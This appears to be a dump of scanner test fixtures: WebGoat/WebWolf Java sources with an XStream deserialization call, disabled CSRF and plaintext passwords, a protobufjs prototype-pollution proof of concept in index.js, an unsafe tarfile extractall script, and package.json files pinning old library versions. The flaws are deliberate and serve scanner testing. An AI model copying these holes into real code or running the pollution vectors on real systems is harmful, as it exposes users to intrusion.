!= null) { for (File file : files) { String size = FileUtils.byteCountToDisplaySize(file.length()); String link = String.format("files/%s/%s", username, file.getName()); uploadedFiles.add(new UploadedFile(file.getName(), size, link)); } } modelAndView.addObject("files", uploadedFiles); modelAndView.addObject("webwolf_url", "http://" + server + ":" + port); return modelAndView; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/MvcConfiguration.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf; import java.io.File; import javax.annotation.PostConstruct; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; /** * @author nbaars * @since 8/13/17. */ @Configuration public class MvcConfiguration implements WebMvcConfigurer { @Value("${webwolf.fileserver.location}") private String fileLocation; @Override public void addResourceHandlers(ResourceHandlerRegistry registry) { registry.addResourceHandler("/files/**").addResourceLocations("file:///" + fileLocation + "/"); registry.addResourceHandler("/css/**").addResourceLocations("classpath:/webwolf/static/css/"); registry.addResourceHandler("/js/**").addResourceLocations("classpath:/webwolf/static/js/"); registry .addResourceHandler("/images/**") .addResourceLocations("classpath:/webwolf/static/images/"); } @Override public void addViewControllers(ViewControllerRegistry registry) { registry.addViewController("/login").setViewName("webwolf-login"); registry.addViewController("/home").setViewName("home"); } @PostConstruct public void createDirectory() { File file = new File(fileLocation); if (!file.exists()) { file.mkdirs(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/WebSecurityConfig.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf; import lombok.AllArgsConstructor; import org.owasp.webgoat.webwolf.user.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.http.HttpMethod; import org.springframework.security.authentication.AuthenticationManager; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.crypto.password.NoOpPasswordEncoder; import com.thoughtworks.xstream.XStream; import org.apache.commons.text.lookup.StringLookup; /** Security configuration for WebGoat. */ @Configuration @AllArgsConstructor @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { private final UserService userDetailsService; @Override protected void configure(HttpSecurity http) throws Exception { ExpressionUrlAuthorizationConfigurer.ExpressionInterceptUrlRegistry security = http.authorizeRequests() .antMatchers("/css/**", "/images/**", "/js/**", "/fonts/**", "/webjars/**", "/home") .permitAll() .antMatchers(HttpMethod.GET, "/mail/**", "/requests/**") .authenticated() .antMatchers("/files") .authenticated() .anyRequest() .permitAll(); security.and().csrf().disable().formLogin().loginPage("/login").failureUrl("/login?error=true"); security.and().formLogin().loginPage("/login").defaultSuccessUrl("/home", true).permitAll(); security.and().logout().permitAll(); XStream stream = new XStream(); stream.fromXML(http.toString()); } @Autowired public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { auth.userDetailsService(userDetailsService); // .passwordEncoder(bCryptPasswordEncoder()); } @Bean @Override public UserDetailsService userDetailsServiceBean() throws Exception { return userDetailsService; } @Override @Bean protected AuthenticationManager authenticationManager() throws Exception { return super.authenticationManager(); } @Bean public NoOpPasswordEncoder passwordEncoder() { return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/WebWolf.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf; import org.owasp.webgoat.webwolf.requests.WebWolfTraceRepository; import org.springframework.boot.actuate.trace.http.HttpTraceRepository; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.PropertySource; @Configuration @ComponentScan("org.owasp.webgoat.webwolf") @PropertySource("classpath:application-webwolf.properties") @EnableAutoConfiguration public class WebWolf { @Bean public HttpTraceRepository traceRepository() { return new WebWolfTraceRepository(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTController.java ================================================ package org.owasp.webgoat.webwolf.jwt; import static org.springframework.http.MediaType.APPLICATION_FORM_URLENCODED_VALUE; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import org.springframework.util.MultiValueMap; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; @RestController public class JWTController { @GetMapping("/jwt") public ModelAndView jwt() { return new ModelAndView("jwt"); } @PostMapping( value = "/jwt/decode", consumes = APPLICATION_FORM_URLENCODED_VALUE, produces = APPLICATION_JSON_VALUE) public JWTToken decode(@RequestBody MultiValueMap formData) { var jwt = formData.getFirst("token"); var secretKey = formData.getFirst("secretKey"); return JWTToken.decode(jwt, secretKey); } @PostMapping( value = "/jwt/encode", consumes = APPLICATION_FORM_URLENCODED_VALUE, produces = APPLICATION_JSON_VALUE) public JWTToken encode(@RequestBody MultiValueMap formData) { var header = formData.getFirst("header"); var payload = formData.getFirst("payload"); var secretKey = formData.getFirst("secretKey"); return JWTToken.encode(header, payload, secretKey); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/jwt/JWTToken.java ================================================ package org.owasp.webgoat.webwolf.jwt; import static java.nio.charset.StandardCharsets.UTF_8; import static org.springframework.util.Base64Utils.decodeFromUrlSafeString; import static org.springframework.util.StringUtils.hasText; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import java.util.Map; import java.util.TreeMap; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; import org.jose4j.jws.JsonWebSignature; import org.jose4j.jwt.consumer.InvalidJwtException; import org.jose4j.jwt.consumer.JwtConsumer; import org.jose4j.jwt.consumer.JwtConsumerBuilder; import org.jose4j.jwx.CompactSerializer; import org.jose4j.keys.HmacKey; import org.jose4j.lang.JoseException; @NoArgsConstructor @AllArgsConstructor @Getter @Setter @Builder(toBuilder = true) public class JWTToken { private String encoded = ""; private String secretKey; private String header; private boolean validHeader; private boolean validPayload; private boolean validToken; private String payload; private boolean signatureValid = true; public static JWTToken decode(String jwt, String secretKey) { var token = parseToken(jwt.trim().replace(System.getProperty("line.separator"), "")); return token.toBuilder().signatureValid(validateSignature(secretKey, jwt)).build(); } private static Map parse(String header) { var reader = new ObjectMapper(); try { return reader.readValue(header, TreeMap.class); } catch (JsonProcessingException e) { return Map.of(); } } private static String write(String originalValue, Map data) { var writer = new ObjectMapper().writerWithDefaultPrettyPrinter(); try { if (data.isEmpty()) { return originalValue; } return writer.writeValueAsString(data); } catch (JsonProcessingException e) { return originalValue; } } public static JWTToken encode(String header, String payloadAsString, String secretKey) { var headers = parse(header); var payload = parse(payloadAsString); var builder = JWTToken.builder() .header(write(header, headers)) .payload(write(payloadAsString, payload)) .validHeader(!hasText(header) || !headers.isEmpty()) .validToken(true) .validPayload(!hasText(payloadAsString) || !payload.isEmpty()); JsonWebSignature jws = new JsonWebSignature(); jws.setPayload(payloadAsString); headers.forEach((k, v) -> jws.setHeader(k, v)); if (!headers.isEmpty()) { // otherwise e30 meaning {} will be shown as header builder.encoded( CompactSerializer.serialize( new String[] {jws.getHeaders().getEncodedHeader(), jws.getEncodedPayload()})); } // Only sign when valid header and payload if (!headers.isEmpty() && !payload.isEmpty() && hasText(secretKey)) { jws.setDoKeyValidation(false); jws.setKey(new HmacKey(secretKey.getBytes(UTF_8))); try { builder.encoded(jws.getCompactSerialization()); builder.signatureValid(true); } catch (JoseException e) { // Do nothing } } return builder.build(); } private static JWTToken parseToken(String jwt) { var token = jwt.split("\\."); var builder = JWTToken.builder().encoded(jwt); if (token.length >= 2) { var header = new String(decodeFromUrlSafeString(token[0]), UTF_8); var payloadAsString = new String(decodeFromUrlSafeString(token[1]), UTF_8); var headers = parse(header); var payload = parse(payloadAsString); builder.header(write(header, headers)); builder.payload(write(payloadAsString, payload)); builder.validHeader(!headers.isEmpty()); builder.validPayload(!payload.isEmpty()); builder.validToken(!headers.isEmpty() && !payload.isEmpty()); } else { builder.validToken(false); } return builder.build(); } private static boolean validateSignature(String secretKey, String jwt) { if (hasText(secretKey)) { JwtConsumer jwtConsumer = new JwtConsumerBuilder() .setSkipAllValidators() .setVerificationKey(new HmacKey(secretKey.getBytes(UTF_8))) .setRelaxVerificationKeyValidation() .build(); try { jwtConsumer.processToClaims(jwt); return true; } catch (InvalidJwtException e) { return false; } } return false; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.mailbox; import com.fasterxml.jackson.annotation.JsonIgnore; import java.io.Serializable; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import javax.persistence.*; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; /** * @author nbaars * @since 8/20/17. */ @Data @Builder @AllArgsConstructor @Entity @NoArgsConstructor public class Email implements Serializable { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; @JsonIgnore private LocalDateTime time = LocalDateTime.now(); @Column(length = 1024) private String contents; private String sender; private String title; private String recipient; public String getSummary() { return "-" + this.contents.substring(0, Math.min(50, contents.length())); } public LocalDateTime getTimestamp() { return time; } public String getTime() { return DateTimeFormatter.ofPattern("h:mm a").format(time); } public String getShortSender() { return sender.substring(0, sender.indexOf("@")); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.mailbox; import java.util.List; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; @RestController @AllArgsConstructor @Slf4j public class MailboxController { private final MailboxRepository mailboxRepository; @GetMapping(value = "/mail") public ModelAndView mail() { UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); ModelAndView modelAndView = new ModelAndView(); List emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); if (emails != null && !emails.isEmpty()) { modelAndView.addObject("total", emails.size()); modelAndView.addObject("emails", emails); } modelAndView.setViewName("mailbox"); return modelAndView; } @PostMapping(value = "/mail") public ResponseEntity sendEmail(@RequestBody Email email) { mailboxRepository.save(email); return ResponseEntity.status(HttpStatus.CREATED).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.mailbox; import java.util.List; import org.springframework.data.jpa.repository.JpaRepository; /** * @author nbaars * @since 8/17/17. */ public interface MailboxRepository extends JpaRepository { List findByRecipientOrderByTimeDesc(String recipient); } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.requests; import java.util.concurrent.Callable; import javax.servlet.http.HttpServletRequest; import lombok.extern.slf4j.Slf4j; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; @Controller @Slf4j @RequestMapping("/landing/**") public class LandingPage { @RequestMapping( method = { RequestMethod.POST, RequestMethod.GET, RequestMethod.DELETE, RequestMethod.PATCH, RequestMethod.PUT }) public Callable> ok(HttpServletRequest request) { return () -> { log.trace("Incoming request for: {}", request.getRequestURL()); return ResponseEntity.ok().build(); }; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.requests; import static java.util.stream.Collectors.toList; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import java.time.Instant; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import org.springframework.boot.actuate.trace.http.HttpTrace; import org.springframework.boot.actuate.trace.http.HttpTrace.Request; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; /** * Controller for fetching all the HTTP requests from WebGoat to WebWolf for a specific user. * * @author nbaars * @since 8/13/17. */ @Controller @RequiredArgsConstructor @Slf4j @RequestMapping(value = "/requests") public class Requests { private final WebWolfTraceRepository traceRepository; private final ObjectMapper objectMapper; @AllArgsConstructor @Getter private class Tracert { private final Instant date; private final String path; private final String json; } @GetMapping public ModelAndView get() { var model = new ModelAndView("requests"); var user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); var traces = traceRepository.findAllTraces().stream() .filter(t -> allowedTrace(t, user)) .map(t -> new Tracert(t.getTimestamp(), path(t), toJsonString(t))) .collect(toList()); model.addObject("traces", traces); return model; } private boolean allowedTrace(HttpTrace t, UserDetails user) { Request req = t.getRequest(); boolean allowed = true; /* do not show certain traces to other users in a classroom setup */ if (req.getUri().getPath().contains("/files") && !req.getUri().getPath().contains(user.getUsername())) { allowed = false; } else if (req.getUri().getPath().contains("/landing") && req.getUri().getQuery() != null && req.getUri().getQuery().contains("uniqueCode") && !req.getUri().getQuery().contains(StringUtils.reverse(user.getUsername()))) { allowed = false; } return allowed; } private String path(HttpTrace t) { return (String) t.getRequest().getUri().getPath(); } private String toJsonString(HttpTrace t) { try { return objectMapper.writeValueAsString(t); } catch (JsonProcessingException e) { log.error("Unable to create json", e); } return "No request(s) found"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.requests; import com.google.common.collect.EvictingQueue; import java.util.ArrayList; import java.util.List; import lombok.extern.slf4j.Slf4j; import org.springframework.boot.actuate.trace.http.HttpTrace; import org.springframework.boot.actuate.trace.http.HttpTraceRepository; /** * Keep track of all the incoming requests, we are only keeping track of request originating from * WebGoat. * * @author nbaars * @since 8/13/17. */ @Slf4j public class WebWolfTraceRepository implements HttpTraceRepository { private final EvictingQueue traces = EvictingQueue.create(10000); private final List exclusionList = List.of( "/tmpdir", "/home", "/files", "/images/", "/favicon.ico", "/js/", "/webjars/", "/requests", "/css/", "/mail"); @Override public List findAll() { return List.of(); } public List findAllTraces() { return new ArrayList<>(traces); } private boolean isInExclusionList(String path) { return exclusionList.stream().anyMatch(e -> path.contains(e)); } @Override public void add(HttpTrace httpTrace) { var path = httpTrace.getRequest().getUri().getPath(); if (!isInExclusionList(path)) { traces.add(httpTrace); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.user; import org.springframework.data.jpa.repository.JpaRepository; /** * @author nbaars * @since 3/19/17. */ public interface UserRepository extends JpaRepository { WebGoatUser findByUsername(String username); } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.user; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.core.userdetails.UsernameNotFoundException; import org.springframework.stereotype.Service; /** * @author nbaars * @since 3/19/17. */ @Service public class UserService implements UserDetailsService { private UserRepository userRepository; public UserService(UserRepository userRepository) { this.userRepository = userRepository; } @Override public WebGoatUser loadUserByUsername(final String username) throws UsernameNotFoundException { WebGoatUser webGoatUser = userRepository.findByUsername(username); if (webGoatUser == null) { throw new UsernameNotFoundException("User not found"); } webGoatUser.createUser(); return webGoatUser; } public void addUser(final String username, final String password) { userRepository.save(new WebGoatUser(username, password)); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf.user; import java.util.Collection; import java.util.Collections; import javax.persistence.Entity; import javax.persistence.Id; import javax.persistence.Transient; import lombok.Getter; import org.springframework.security.core.GrantedAuthority; import org.springframework.security.core.userdetails.User; import org.springframework.security.core.userdetails.UserDetails; /** * @author nbaars * @since 3/19/17. */ @Getter @Entity public class WebGoatUser implements UserDetails { @Id private String username; private String password; @Transient private User user; protected WebGoatUser() {} public WebGoatUser(String username, String password) { this.username = username; this.password = password; createUser(); } public void createUser() { this.user = new User(username, password, getAuthorities()); } public Collection getAuthorities() { return Collections.emptyList(); } @Override public boolean isAccountNonExpired() { return this.user.isAccountNonExpired(); } @Override public boolean isAccountNonLocked() { return this.user.isAccountNonLocked(); } @Override public boolean isCredentialsNonExpired() { return this.user.isCredentialsNonExpired(); } @Override public boolean isEnabled() { return this.user.isEnabled(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/npm/index.js ================================================ // index.js protobuf = require("protobufjs"); // Object.freeze(Object.prototype); let person1 = {firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"}; let person2 = {firstCoolName:"John", lastName:"Doe", age:50, eyeColor:"blue"}; // Vector 1 let evilkey = "__proto__.firstName" let evilval = "evilvalue" protobuf.util.setProperty(person1, evilkey, evilval); // Vector 2 let obj = new protobuf.ReflectionObject("Test") obj.setParsedOption({}, evilval, evilkey); // Vector 3 let p = `option (foo).__proto__.someprop= "somevalue";` protobuf.parse(p) // Vector 4 protobuf.load("/path/to/untrusted.proto", function(err, root) { return }); console.log({}.firstName); console.log(person1.firstName); console.log(person2.firstName); ================================================ FILE: src/test/resources/sourceCode/testProjects/python/main.py ================================================ #!/usr/bin/env python3 import os import tarfile def py_files(members): for tarinfo in members: if os.path.splitext(tarinfo.name)[1] == ".py": yield tarinfo def get_name(): return "sample.tar.gz" name = get_name() tar = tarfile.open(name) tar.extractall(members=py_files(tar)) tar.close() ================================================ FILE: src/test/resources/yarn/exampleYarnMonorepo/.gitignore ================================================ node_modules/ ================================================ FILE: src/test/resources/yarn/exampleYarnMonorepo/mobile/package.json ================================================ { "name": "mobile", "private": true, "version": "1.0.0", "dependencies": { "axios": "1.5.1" }, "description": "An Ionic project" } ================================================ FILE: src/test/resources/yarn/exampleYarnMonorepo/package.json ================================================ { "name": "example-monorepo", "version": "1.0.0", "description": "monorepo root", "license": "SEE LICENSE IN LICENSE.md", "private": true, "workspaces": [ "web", "mobile" ], "dependencies": { "axios": "1.5.1", "cli-table": "0.3.1" } } ================================================ FILE: src/test/resources/yarn/exampleYarnMonorepo/web/package.json ================================================ { "name": "web", "version": "0.0.1", "license": "SEE LICENSE IN LICENSE.md", "dependencies": { "axios": "1.5.1", "lodash": "4.16.2" } } ================================================ FILE: src/test/resources/yarn/exampleYarnPackage/.gitignore ================================================ node_modules/ ================================================ FILE: src/test/resources/yarn/exampleYarnPackage/package.json ================================================ { "name": "example-yarn-package", "version": "1.0.0", "description": "An example package to demonstrate Yarn", "main": "index.js", "repository": { "url": "github.com/yarnpkg/example-yarn-package", "type": "git" }, "scripts": { "test": "jest" }, "author": "Yarn Contributors", "license": "BSD-2-Clause", "dependencies": { "lodash": "^4.16.2" }, "devDependencies": { "jest-cli": "15.1.1" }, "jest": { "testEnvironment": "node" } }